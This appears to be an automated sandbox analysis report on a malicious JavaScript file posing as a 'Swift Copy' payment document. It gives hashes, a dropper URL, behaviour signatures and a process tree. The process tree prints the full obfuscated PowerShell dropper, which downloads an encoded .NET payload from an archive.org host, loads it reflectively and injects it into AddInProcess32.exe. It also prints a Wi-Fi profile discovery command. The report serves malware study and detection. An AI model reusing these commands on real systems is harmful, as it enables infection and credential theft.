Analysis

  • max time kernel
    93s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 07:02

General

  • Target

    Swift Copy of USD 11961.50.js

  • Size

    603KB

  • MD5

    fe8cfc59d5069342f1d6b42822ea2577

  • SHA1

    641c2747423abbf598148cfb1d1006becffb60bc

  • SHA256

    ee7711a9df0823e2f820b6a1cacc69a86c0694719ffb6373b6c5428c97d969a8

  • SHA512

    5c4408cc638d8484ad7f745b60ed4eb7aae7d911538ac986ed858fd93402ff1449f9d38e1f35bfac407edd920e1e3e386cf850db01d71eae6e40989b20ad7f82

  • SSDEEP

    12288:lHapg5WlvjbwO8wd8yTYhq6YGOx+QXVT5dmWIRXRBU6p9TY+lwhiaZaCLaP7OXXW:9dn2XzIVQ0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Swift Copy of USD 11961.50.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAFUAbQBzAHUAcgBsACAAPQAnACsAJwAgAGcARwBYAGgAdAB0AHAAcwA6AC8ALwBpAGEAJwArACcAOQAwADQANgAwACcAKwAnADEAJwArACcALgB1AHMAJwArACcALgAnACsAJwBhAHIAJwArACcAYwBoAGkAdgBlAC4AbwAnACsAJwByACcAKwAnAGcALwA2AC8AaQB0AGUAbQBzACcAKwAnAC8AJwArACcAZABlACcAKwAnAHQAYQBoAC0AbgAnACsAJwBvAHQAZQAtAGoALwBEAGUAdABhACcAKwAnAGgATgBvAHQAJwArACcAZQAnACsAJwBKAC4AJwArACcAdAAnACsAJwB4AHQAZwAnACsAJwBHAFgAOwBVAG0AJwArACcAcwBiACcAKwAnAGEAcwBlADYANABDAG8AbgAnACsAJwB0AGUAJwArACcAbgB0ACAAPQAnACsAJwAgACgATgBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AJwArACcATgBlAHQALgAnACsAJwBXACcAKwAnAGUAYgBDAGwAJwArACcAaQBlAG4AJwArACcAdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAJwArACcAbgBnACcAKwAnACgAVQBtACcAKwAnAHMAdQByAGwAKQA7AFUAbQBzACcAKwAnAGIAaQAnACsAJwBuAGEAcgB5ACcAKwAnAEMAbwBuAHQAZQAnACsAJwBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAJwArACcAbQAuACcAKwAnAEMAbwBuAHYAJwArACcAZQByAHQAXQA6ACcAKwAnADoARgAnACsAJwByAG8AJwArACcAbQBCAGEAcwBlACcAKwAnADYANABTAHQAcgAnACsAJwBpAG4AZwAoACcAKwAnAFUAbQBzAGIAYQBzAGUAJwArACcANgAnACsAJwA0ACcAKwAnAEMAbwBuAHQAJwArACcAZQBuAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQAnACsAJwBmAGwAZQBjAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFUAbQAnACsAJwBzAGIAaQBuAGEAcgB5ACcAKwAnAEMAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAHQAeQAnACsAJwBwACcAKwAnAGUAIAAnACsAJwA9ACAAJwArACcAVQBtACcAKwAnAHMAYQBzAHMAZQBtACcAKwAnAGIAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAnACsAJwAoAGcARwBYACcAKwAnAFIAJwArACcAdQAnACsAJwBuAFAARQAuAEgAJwArACcAbwBtAGUAZwBHAFgAKQA7AFUAbQBzACcAKwAnAG0AJwArACcAZQB0AGgAbwBkACAAPQAnACsAJwAgAFUAbQBzACcAKwAnAHQAJwArACcAeQAnACsAJwBwAGUALgBHAGUAdABNAGUAdABoAG8AJwArACcAZAAoAGcARwBYAFYAQQBJAGcAJwArACcARwBYACcAKwAnACkAJwArACcAOwBVAG0AJwArACcAcwAnACsAJwBtAGUAdABoAG8AZAAuAEkAbgB2ACcAKwAnAG8AawBlACgAVQBtAHMAbgB1AGwAJwArACcAbAAnACsAJwAsACAAWwBvACcAKwAnAGIAagAnACsAJwBlAGMAdABbAF0AXQAnACsAJwBAACgAZwBHAFgAdAAnACsAJwB4AHQALgAnACsAJwB1AGwAJwArACcAdQB6AC8AJwArACcAdgAnACsAJwBlAGQAJwArACcALgAyAHIALgAzACcAKwAnADkAYgAnACsAJwAzADQANQAzADAAMgAnACsAJwBhADAAJwArACcANwAnACsAJwA1AGIAMQAnACsAJwBiAGMAMABkADQANQBiADYAMwAyAGUAYgA5AGUAZQA2ADIAJwArACcALQBiAHUAcAAvAC8AOgBzAHAAJwArACcAdAAnACsAJwB0AGgAZwBHAFgAJwArACcAIAAnACsAJwAsACAAZwBHAFgAJwArACcAZABlACcAKwAnAHMAYQB0ACcAKwAnAGkAJwArACcAdgBhAGQAbwBnAEcAJwArACcAWAAnACsAJwAgACwAIABnAEcAWABkAGUAcwAnACsAJwBhACcAKwAnAHQAaQB2AGEAZABvAGcARwBYACAALAAgAGcARwBYAGQAJwArACcAZQBzAGEAdABpAHYAYQBkAG8AZwBHAFgAJwArACcALABnACcAKwAnAEcAWABBAGQAZAAnACsAJwBJAG4AUAByACcAKwAnAG8AYwBlAHMAcwAnACsAJwAzACcAKwAnADIAZwBHACcAKwAnAFgAJwArACcALABnAEcAWABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAGcARwBYACkAKQAnACsAJwA7ACcAKQAuAFIAZQBQAGwAQQBjAGUAKAAoAFsAYwBoAEEAUgBdADEAMAAzACsAWwBjAGgAQQBSAF0ANwAxACsAWwBjAGgAQQBSAF0AOAA4ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA5ACkALgBSAGUAUABsAEEAYwBlACgAKABbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQAxADAAOQArAFsAYwBoAEEAUgBdADEAMQA1ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA2ACkAfAAgACYAIAAoACAAJABQAFMAaABvAG0ARQBbADIAMQBdACsAJABQAFMAaABvAE0AZQBbADMANABdACsAJwB4ACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Umsurl ='+' gGXhttps://ia'+'90460'+'1'+'.us'+'.'+'ar'+'chive.o'+'r'+'g/6/items'+'/'+'de'+'tah-n'+'ote-j/Deta'+'hNot'+'e'+'J.'+'t'+'xtg'+'GX;Um'+'sb'+'ase64Con'+'te'+'nt ='+' (New-Obj'+'ect System.'+'Net.'+'W'+'ebCl'+'ien'+'t).DownloadStri'+'ng'+'(Um'+'surl);Ums'+'bi'+'nary'+'Conte'+'nt = [Syste'+'m.'+'Conv'+'ert]:'+':F'+'ro'+'mBase'+'64Str'+'ing('+'Umsbase'+'6'+'4'+'Cont'+'ent'+');Um'+'sas'+'sembly = [Re'+'flecti'+'on.Asse'+'mbly]::Load(Um'+'sbinary'+'Co'+'nten'+'t'+');Um'+'sty'+'p'+'e '+'= '+'Um'+'sassem'+'bly.Ge'+'tType'+'(gGX'+'R'+'u'+'nPE.H'+'omegGX);Ums'+'m'+'ethod ='+' Ums'+'t'+'y'+'pe.GetMetho'+'d(gGXVAIg'+'GX'+')'+';Um'+'s'+'method.Inv'+'oke(Umsnul'+'l'+', [o'+'bj'+'ect[]]'+'@(gGXt'+'xt.'+'ul'+'uz/'+'v'+'ed'+'.2r.3'+'9b'+'345302'+'a0'+'7'+'5b1'+'bc0d45b632eb9ee62'+'-bup//:sp'+'t'+'thgGX'+' '+', gGX'+'de'+'sat'+'i'+'vadogG'+'X'+' , gGXdes'+'a'+'tivadogGX , gGXd'+'esativadogGX'+',g'+'GXAdd'+'InPr'+'ocess'+'3'+'2gG'+'X'+',gGXdes'+'ativadogGX))'+';').RePlAce(([chAR]103+[chAR]71+[chAR]88),[striNg][chAR]39).RePlAce(([chAR]85+[chAR]109+[chAR]115),[striNg][chAR]36)| & ( $PShomE[21]+$PShoMe[34]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4040
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
            PID:220
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:4864
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
              5⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              • Suspicious use of WriteProcessMemory
              PID:1992
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3412
              • C:\Windows\SysWOW64\netsh.exe
                netsh wlan show profile
                6⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:1624
              • C:\Windows\SysWOW64\findstr.exe
                findstr All
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4796
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4100

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      d8b9a260789a22d72263ef3bb119108c

      SHA1

      376a9bd48726f422679f2cd65003442c0b6f6dd5

      SHA256

      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

      SHA512

      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lujjiuoz.1l5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3496-22-0x00007FFE22273000-0x00007FFE22275000-memory.dmp

      Filesize

      8KB

    • memory/3496-10-0x000002887F530000-0x000002887F552000-memory.dmp

      Filesize

      136KB

    • memory/3496-0-0x00007FFE22273000-0x00007FFE22275000-memory.dmp

      Filesize

      8KB

    • memory/3496-23-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

      Filesize

      10.8MB

    • memory/3496-12-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

      Filesize

      10.8MB

    • memory/3496-32-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

      Filesize

      10.8MB

    • memory/3496-11-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

      Filesize

      10.8MB

    • memory/4040-24-0x0000019A4B040000-0x0000019A4B24C000-memory.dmp

      Filesize

      2.0MB

    • memory/4864-25-0x0000000000400000-0x000000000041A000-memory.dmp

      Filesize

      104KB

    • memory/4864-28-0x0000000000400000-0x000000000041A000-memory.dmp

      Filesize

      104KB

    • memory/4864-33-0x0000000005700000-0x00000000057E6000-memory.dmp

      Filesize

      920KB

    • memory/4864-34-0x0000000005990000-0x00000000059F6000-memory.dmp

      Filesize

      408KB

    • memory/4864-35-0x0000000005F50000-0x0000000005F62000-memory.dmp

      Filesize

      72KB

    • memory/4864-36-0x00000000065A0000-0x0000000006762000-memory.dmp

      Filesize

      1.8MB

    • memory/4864-66-0x0000000006770000-0x00000000067E6000-memory.dmp

      Filesize

      472KB

    • memory/4864-88-0x0000000006F60000-0x0000000007504000-memory.dmp

      Filesize

      5.6MB

    • memory/4864-89-0x00000000068F0000-0x0000000006982000-memory.dmp

      Filesize

      584KB

    • memory/4864-90-0x0000000007510000-0x0000000007A3C000-memory.dmp

      Filesize

      5.2MB